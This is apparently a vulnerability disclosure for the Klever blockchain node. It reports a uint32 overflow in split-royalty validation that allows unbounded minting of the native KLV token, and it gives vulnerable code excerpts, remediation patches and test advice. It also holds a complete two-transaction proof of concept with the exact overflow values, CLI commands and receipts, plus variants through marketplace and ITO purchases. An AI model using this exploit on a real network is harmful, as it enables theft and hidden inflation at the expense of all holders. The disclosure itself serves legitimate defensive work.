Klever: Integer overflow in split-royalty validation enables unbounded minting of KLV (native token)

2. Validation sums into a uint32 and only checks the sum

core/kapp/kda/create.go (fungible path, ≈L351-382; NFT path ≈L228-264):

sumSplitTransferPercentage := uint32(0)   // L351  <-- uint32 accumulator
sumSplitTransferFixed       := uint32(0)
// ...
for key, value := range tc.GetRoyalties().GetSplitRoyalties() {
	// ... no per-entry bound ...
	sumSplitTransferPercentage += value.GetPercentTransferPercentage() // can overflow uint32
	sumSplitTransferFixed       += value.GetPercentTransferFixed()
	// ...
}
if !kda.CheckValid100Params(sumSplitTransferPercentage, sumSplitTransferFixed, /*...*/) { // sees the WRAPPED sum
	return transaction.Transaction_ParameterInvalid, common.ErrInvalidValue
}

core/process/kda/assetHelper.go (L101):

func CheckValid100Params(values ...uint32) bool {
	for _, value := range values {
		if value > core.HundredPercent { // HundredPercent = 10000
			return false
		}
	}
	return true
}

The per-entry > HundredPercent check that exists for TransferPercentage tiers (create.go:398, trigger.go:780) does not apply to these SplitRoyalties fields.

0x80000000 + 0x80000000 = 0x1_0000_0000 → wraps to 0 in uint32 → CheckValid100Params(0) is true.

3. Payout over-pays and silently drops the negative remainder (mint), in KLV

core/kapp/accounts/accounts.go — processFixedRoyaltiesTransfer (L316-382):

err := acntSrc.SubFromBalance(kda.Royalties.TransferFixed, kdautils.KLVIdentifier, ...) // L332: sender pays a tiny KLV fixed royalty
// ...
royaltiesFixedToPay := kda.Royalties.TransferFixed
for key, value := range kda.Royalties.SplitRoyalties {
	// L343: split paid in KLV using the overflowed PercentTransferFixed
	status, err := a.computeSplitRoyalties(key, kdautils.KLVIdentifier, kapps.KDAData_Fungible,
		acntSrc, kda.Royalties.TransferFixed, int64(value.PercentTransferFixed), &royaltiesFixedToPay)
	// ...
}
if royaltiesFixedToPay <= 0 {   // L349: negative remainder silently dropped (no error)
	return transaction.Transaction_Ok, nil
}

computeSplitRoyalties (L276-314):

splitToPay, err := tools.ComputePercentageI64(value, percentage, a.forkController.EnableSmartContracts()) // L287
*royaltiesToPay -= splitToPay                                                                              // L291
err = splitRoyalty.AddToBalance(splitToPay, assetID, ...)                                                  // L293: credit, no matching debit

tools/converters.go — ComputePercentageI64 (L102): for a small pool, pool * 0x80000000 / 10000 fits in int64, so no overflow error fires — it simply returns the inflated amount.

Net: sender debited TransferFixed KLV (e.g. 1 KLV); each split recipient credited TransferFixed × 0x80000000 / 10000 KLV. KLV minted = (sum of split credits) − TransferFixed.

The same pattern exists in core/kapp/market/market.go (computeRoyaltiesAmount L490+ in the sale currencyID; computeRoyaltiesFixedDeposit L443+ in KLV — silent skips at L456/L503) and core/kapp/ito/ito.go (L429/L499). The shipped FixMarketBuyOverflow guard only checks the top-level marketOwnerAmount < 0, not these intra-royalty split over-payments.

Proof of Concept (reproduce from scratch)

A single-node local network is sufficient. Full environment setup is in the companion runbook REPRODUCE-split-royalty-overflow.md; the exploit itself is two transactions.

Prereqs (build + run a single node)

export REPO=/path/to/klever-go && cd "$REPO"
go build -o /tmp/klnode ./cmd/node
go build -o /tmp/kloperator ./cmd/operator
go build -o /tmp/klkeygen ./cmd/keygenerator
# Generate a validator key, point config/node/nodesSetup.json + genesis.json at it and at a
# funded wallet (klvDenomination 6), then:
nohup /tmp/klnode --config=./config/node/config.yaml --genesis-file=./config/node/genesis.json \
  --nodes-setup-file=./config/node/nodesSetup.json --validator-key-pem-file=./config/node/validatorKey.pem \
  --rest-api-interface=127.0.0.1:8080 --working-directory=/tmp/klnet-db --log-level='*:INFO' \
  > /tmp/klnode.log 2>&1 < /dev/null & disown

Step 1 — create a malicious asset (your own throwaway token)

The operator stores percentages as uint32(input × 100), so 21474836.48 → 2147483648 = 0x80000000. Two entries make the uint32 sum wrap to 0.

R1=<any valid klv1 address>   # clean recipient, will receive minted KLV
R2=<any valid klv1 address>   # second recipient
/tmp/kloperator kda create 0 \
  --name="KlvPrinter" --ticker=KPRT2 --precision=6 --initialSupply=1000000 --canMint \
  --royaltiesAddress=<owner> \
  --royaltiesTransferFixed=1 \
  --splitRoyalties="{\"address\":\"$R1\",\"percentTransferFixed\":21474836.48}" \
  --splitRoyalties="{\"address\":\"$R2\",\"percentTransferFixed\":21474836.48}" \
  -s --await

Expected: resultCode: Ok. The node stores percentTransferFixed: 2147483648 for both recipients (a correct chain would reject this).

Step 2 — mint KLV with one ordinary transfer

/tmp/kloperator account send "$R2" 1 --kda KPRT2-<id> -s --await

Expected: resultCode: Ok, with two KLV transfer receipts of 214748364800 (= 214,748.36 KLV) to R1 and R2 — for a TransferFixed royalty of 1000000 (1 KLV).

Verify the mint

# R1 KLV balance went from 0 to 214,748.36 although nobody sent it KLV:
curl -s "http://127.0.0.1:8080/address/$R1" | python3 -c \
 "import sys,json;print(json.load(sys.stdin)['data']['account']['Balance']/1e6,'KLV')"

Evidence (live single-node run, chainID 420420)

Asset creation — overflowed split royalties accepted (resultCode: Ok)

tx 1e288135d138be61a1fc240775eed04fcb578cc7299b28bea9e47c79f86e60eb, broadcast contract (operator output, abridged):

{
  "type": 0, "name": "KlvPrinter2", "ticker": "KPRT2",
  "ownerAddress": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
  "initialSupply": 1000000000000,
  "royalties": {
    "address": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
    "transferFixed": 1000000,
    "splitRoyalties": {
      "klv17e8zzgn73h6ehe3c6q9vlt77kuxk5euddmhymy5uhv2rhv0dc0nqlfp0ap": { "percentTransferFixed": 2147483648 },
      "klv1fpwjz234gy8aaae3gx0e8q9f52vymzzn3z5q0s5h60pvktzx0n0qwvtux5": { "percentTransferFixed": 2147483648 }
    }
  }
}

Result: hash: 1e288135…, status: success, resultCode: Ok. (2147483648 = 0x80000000; the two values' uint32 sum is 0 → passed CheckValid100Params.)

Transfer — mints KLV (resultCode: Ok)

tx 4e869e93f480c7735f08d6f807cd3c0bb1935131d9bacef75ca7e3402501d1e6, block 375, status: success, resultCode: Ok. Receipts (operator output):

{"typeString": "SignedBy"}
{"typeString": "Transfer", "from": "klv1ddnn…(owner)", "to": "klv1fpwjz…(R1)", "value": 214748364800, "assetId": "KLV",        "assetType": "Fungible"}
{"typeString": "Transfer", "from": "klv1ddnn…(owner)", "to": "klv17e8zz…(R2)", "value": 214748364800, "assetId": "KLV",        "assetType": "Fungible"}
{"typeString": "Transfer", "from": "klv1ddnn…(owner)", "to": "klv17e8zz…(R2)", "value": 1000000,       "assetId": "KPRT2-2712", "assetType": "Fungible"}

Outcome: the sender paid 1000000 (1 KLV) of fixed royalty; the two split recipients were each credited 214748364800 (214,748.36 KLV) — 429,496.73 KLV minted from a 1 KLV royalty, in a single transfer. R1 went from a non-existent/0-KLV account to 214,748.36 KLV while never being sent any KLV. The minted amount is pool(=1000000) × 0x80000000 / 10000 = 214748364800 per recipient.

A prior run reproduced the same on the transfer-percentage path, minting the asset itself (42,949,672.96 tokens from one transfer); note that the asset's booked CirculatingSupply / MintedValue do not change (the mint is via direct AddToBalance, not a tracked Mint), so the inflation is invisible to supply dashboards and only detectable by summing balances.

Impact

• Unbounded inflation of KLV (the native token), repeatable per transaction for only tx fees.
• Same root cause also mints KLV via marketplace buy (sale currency + KLV MarketFixed deposit) and ITO buy, and mints arbitrary assets via the transfer-percentage path.
• The mint is off the books (booked supply unchanged), making detection hard.
• Total loss of economic integrity for all token/KLV holders.

Who can exploit it / prerequisites

• Any account that can pay the one-time asset-creation fee + tx fees. No roles, admin, or allowlist.
• Any client. The operator CLI used above is unprivileged: it signs a standard transaction and POSTs to the public, unauthenticated /transaction/send endpoint (network/api/transaction/routes.go, SendTX/BroadcastTX — no auth). The official SDKs or a hand-signed curl produce identical results; nothing in the operator is required.
• Deterministic, single-transaction trigger after a one-time asset setup.

Remediation

Two layers, both should ship. Because these change transaction-validity/consensus behavior, gate them behind a new activation-epoch fork flag (same mechanism as the existing FixMarketBuyOverflow), so historical blocks reprocess identically.

A. Reject over-100% split percentages at validation (root cause)

1. Bound each individual split field, e.g. in decodeSplitInfo (core/kapp/builtInFunctions/utils.go):

   for _, field := range fields {
       if err := binary.Read(buf, binary.BigEndian, field); err != nil { return err }
       if *field > core.HundredPercent { return process.ErrInvalidRoyalties } // NEW
   }
   

2. Accumulate sums in uint64 (overflow-proof) in core/kapp/kda/create.go and core/kapp/kda/trigger.go, and reject if any per-category sum > core.HundredPercent. (With each entry ≤ 10000 and the existing MaxTransferRoyalties = 20 cap, the max sum is 200000 — but use uint64 regardless for defense in depth.)

B. Treat a negative royalty remainder as a hard error (defense in depth)

In every split-distribution site, replace the silent skip with a rejection:

// BEFORE
if royaltiesToPay <= 0 { return transaction.Transaction_Ok, nil }
// AFTER
if royaltiesToPay < 0  { return transaction.Transaction_ParameterInvalid, common.ErrInvalidValue }
if royaltiesToPay == 0 { return transaction.Transaction_Ok, nil }

Sites: core/kapp/accounts/accounts.go (L349 fixed, L436 percentage), core/kapp/market/market.go (L456, L503), core/kapp/ito/ito.go (L429, L499).

C. (Optional) Assert conservation

After distributing a royalty pool, assert Σ splitToPay == pool (the owner gets the exact remainder), so any future regression aborts the tx instead of minting.

A regression test should: (1) confirm an asset whose split percentages sum-overflow uint32 is rejected at create/trigger, and (2) confirm a transfer/buy of such an asset (if one slipped in) cannot pay out more than the royalty pool.

Variants / notes

• Transfer (percentage) → mints the transferred asset. Transfer (fixed), Market (fixed + percentage), ITO (fixed + percentage) → mint KLV / the sale currency.
• Smart-contract senders skip royalties, but a contract can plant the malicious royalties via AssetTrigger/UpdateRoyalties and let a normal account trigger the mint — atomically within one tx.
• The legacy ComputePercentageI64 float path (checkOverflow=false) makes the over-pay even easier (no int64 overflow guard at all), but the big.Int path mints too for small pools.

References

• Vulnerable code: core/process/kda/assetHelper.go:101, core/kapp/builtInFunctions/utils.go:292, core/kapp/kda/create.go:228-264,351-382, core/kapp/kda/trigger.go, core/kapp/accounts/accounts.go:276-382, core/kapp/market/market.go:443-538, core/kapp/ito/ito.go:415-556, tools/converters.go:102.